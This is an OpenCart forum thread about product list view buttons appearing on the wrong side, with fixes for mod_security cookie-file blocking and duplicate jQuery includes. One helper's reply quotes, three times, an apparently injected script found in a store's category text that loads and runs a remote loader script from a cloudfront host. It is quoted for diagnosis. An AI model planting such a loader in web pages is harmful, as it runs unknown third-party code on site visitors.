Page 1 of 1
[SOLVED] Product List View is distorted. Grid View is fine.
Posted: Sun Nov 20, 2011 12:42 pm
by salehjoon
I just noticed a slight distortion in my product List view pages. The Add to Wish List and Add to Compare List and the Add to Cart button are all on the far left side of the page. Not sure how this happened. They are supposed to be on the right hand side. The strange thing is that when I click on Grid view and back to List view it looks normal. I did not modify the stylesheet to change the position of these three lines. I only shifted down the menu bar to insert a larger logo beside changing the colors. Also, I edited the .tpl files to remove Product code. I don't see how any of those changes could cause this problem.
The site is
http://www.sammysplantworld.com
Here is the section of the CSS code corresponding to list view:
Code: Select all
.product-list .price {
float: right;
height: 50px;
margin-left: 8px;
text-align: right;
color: #333333;
font-size: 12px;
}
.product-list .price-old {
color: #F00;
text-decoration: line-through;
}
.product-list .price-new {
font-weight: bold;
}
.product-list .price-tax {
font-size: 12px;
font-weight: normal;
color: #BBBBBB;
}
.product-list .cart {
margin-bottom: 3px;
}
.product-list .wishlist, .product-list .compare {
margin-bottom: 3px;
}
.product-list .wishlist a {
color: #333333;
text-decoration: none;
padding-left: 18px;
display: block;
background: url('../image/add.png') left center no-repeat;
}
.product-list .compare a {
color: #333333;
text-decoration: none;
padding-left: 18px;
display: block;
background: url('../image/add.png') left 60% no-repeat;
}
Could someone help me figure out why this is happening? Thanks.
Re: Product List View is distorted. Grid View is fine.
Posted: Sun Nov 20, 2011 9:33 pm
by wernerrenrew
Hi,
Your store is set to maintenance mode so noone can check.
What i can tell you is that on first load it is php generating the html for your list view.
When you click on list it is done with javascript so your problem must be that someone removed the div right in your tpl.
Regards Werner
Re: Product List View is distorted. Grid View is fine.
Posted: Wed Nov 23, 2011 4:43 pm
by salehjoon
Thanks Werner for the comment. I have taken the website off the maintenance mode now. I kind of got around the problem by setting the Grid view as the default view for now. When the page loads the Grid view looks fine and then if you click on List view it looks like it's supposed to be. However, I personally like the List view better and would like to fix the issue. I just set the List view as the default view so it can be seen.
You said a div could have been removed from a tpl file. Do you know which tpl file I need to look at?
Re: Product List View is distorted. Grid View is fine.
Posted: Wed Nov 23, 2011 10:29 pm
by wernerrenrew
Hi,
I have to correct myself php is loading the first view but than it is edited right away by javascript.
Your problem is mod security having a problem with cookie in a file name.
Open catalog/view/javascript/jquery/ui/external/jquery.cookie.js rename it to jquerycookie.js by taking away the dot.
Than go to catalog/view/theme/your-theme/template/common/header.tpl also take the dot away there jquerycookie.js and your problem should be solved.
Regards Werner
Re: Product List View is distorted. Grid View is fine.
Posted: Wed Nov 23, 2011 10:33 pm
by Xsecrets
sometimes I just want to strangle "security" people when the do stupid stuff like this that serves no purpose but to annoy legitimate developers.
Re: Product List View is distorted. Grid View is fine.
Posted: Wed Nov 23, 2011 11:10 pm
by wernerrenrew
Oh well i bet it seemed like a good idea at the time

Re: Product List View is distorted. Grid View is fine.
Posted: Thu Nov 24, 2011 2:17 am
by salehjoon
WOW! THANK YOU! That fixed my problem! Who would have thought?
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Mon Feb 06, 2012 2:23 pm
by psutinrerk
Hello I have the same problem with my site, but I can't switch between grid and list view at all
What I did is I edit what in side of the <div class="price"></div>
I add a table inside the div tag to make it look better, and now the javascript is not working I don't know why
this is my site
http://littlemonkeyshop.com/index.php?r ... path=59_73
could you please help
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Tue Feb 07, 2012 1:51 pm
by psutinrerk
Found my problem it is my VQMod, problem solved now

Re: Product List View is distorted. Grid View is fine.
Posted: Sun Apr 15, 2012 5:50 am
by camaro5
I am using OpenCart 1.5.1.3 and recently ran into an issue with the add to cart button.
After adding a number of products to my website, in list view, the 'add to cart' button is located right next to the thumbnail. The price is still off to the right side of the text.
But when I go to 'grid' view, then back to 'list' view, the 'add to cart' button goes back to the right side where it belongs. But as soon as I refresh or load another project page, it reverts back to the left side.
I did the jquerycookie.js fix a few days ago and it fixed the problem. But since then I have added a few products and now the problem is back. I'm really not familiar with the whole Open Cart system, still using the default theme. But here is my website
http://www.gen5diy.com - don't know if it'll be much use. It seems that the problem only occurs when I'm in the "Exterior Modifications" category -->
http://www.gen5diy.com/index.php?route= ... ry&path=72 . The other categories appear to be fine.
Any help would be greatly appreciated. Thank you.
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Mon Apr 16, 2012 3:49 am
by camaro5
bump
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Mon Apr 16, 2012 4:19 am
by wernerrenrew
Hi,
You have included jquery 2 times one time 1.6.1 and one time 1.7.1 you cannot do this.
Jquery is portable so what you need to do is go to your header.tpl and remove the second one.
Than you could try the v1.7.1 by editing the 1.6.1.
If you do not see the 1.7.1 in your header some extention added it in a controller file this is a very bad sign jquery should never be included like this.
Good luck.
Regards Werner
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Mon Apr 16, 2012 4:31 am
by camaro5
wernerrenrew wrote:Hi,
You have included jquery 2 times one time 1.6.1 and one time 1.7.1 you cannot do this.
Jquery is portable so what you need to do is go to your header.tpl and remove the second one.
Than you could try the v1.7.1 by editing the 1.6.1.
If you do not see the 1.7.1 in your header some extention added it in a controller file this is a very bad sign jquery should never be included like this.
Good luck.
Regards Werner
Thanks for the response Werner,
What do you mean by v1.7.1. Where would I see this? In the header.tpl file? Do you mean the open cart version? If so I have version 1.5.1.3. How do I know which jquery to remove?
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Mon Apr 16, 2012 6:22 am
by wernerrenrew
Hi,
This crap is in your category info container you must have put it there yourself.
Go to this category and edit it, when you see the texteditor press the code button.
<script src="
https://ajax.googleapis.com/ajax/libs/j ... ery.min.js" type="text/javascript">
</script><script type="text/javascript">
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='
https://ajax.googleapis.com/ajax/libs/j ... in.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();}
function ccm_e_init(jc){if(jc){jQuery.noConflict();}
jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};</script><script src="
https://ajax.googleapis.com/ajax/libs/j ... ery.min.js" type="text/javascript">
</script><script type="text/javascript">
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='
https://ajax.googleapis.com/ajax/libs/j ... in.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();}
function ccm_e_init(jc){if(jc){jQuery.noConflict();}
jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};</script>
<script src="
https://ajax.googleapis.com/ajax/libs/j ... ery.min.js" type="text/javascript">
</script>
<script type="text/javascript">
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='
https://ajax.googleapis.com/ajax/libs/j ... in.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();}
function ccm_e_init(jc){if(jc){jQuery.noConflict();}
jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};</script>
Regards Werner
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Mon Apr 16, 2012 6:34 am
by camaro5
Ahh. I have no idea what I did to do that Werner. What do I have to do to correct this? I also just sent you a PM. Thank you.
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Tue May 06, 2014 3:52 pm
by xiaoyuantcm
Sounds strange, I didn't have such problems before. Don't know if this would happen on some UI List View or UI Grid View.
Re: [SOLVED] Product List View is distorted. Grid View is fi
Posted: Mon Sep 01, 2014 2:46 pm
by novice to opencart
Need some urgent help - I am having the same problem with the wish list/compare and add to cart button showing up on the left hand side and then moving back to the right after I have gone from list to grid and then back to list.
I have also altered the files as suggested above (catalog/view/javascript/jquery/ui/external/jquerycookie.js) and also removed the dot in the following files as well.
admin/view/javascript/jquery/ui/external/jquerycookie.js and
admin/view/javascript/jquery/jstree/lib/jquerycookie.js
But the problem still remains.
my website is apolloflowers.co.uk and I am using opencart version 1.5.6.1
I would really appreciate any help as I need to get this right before I continue to build the site.
Nicnak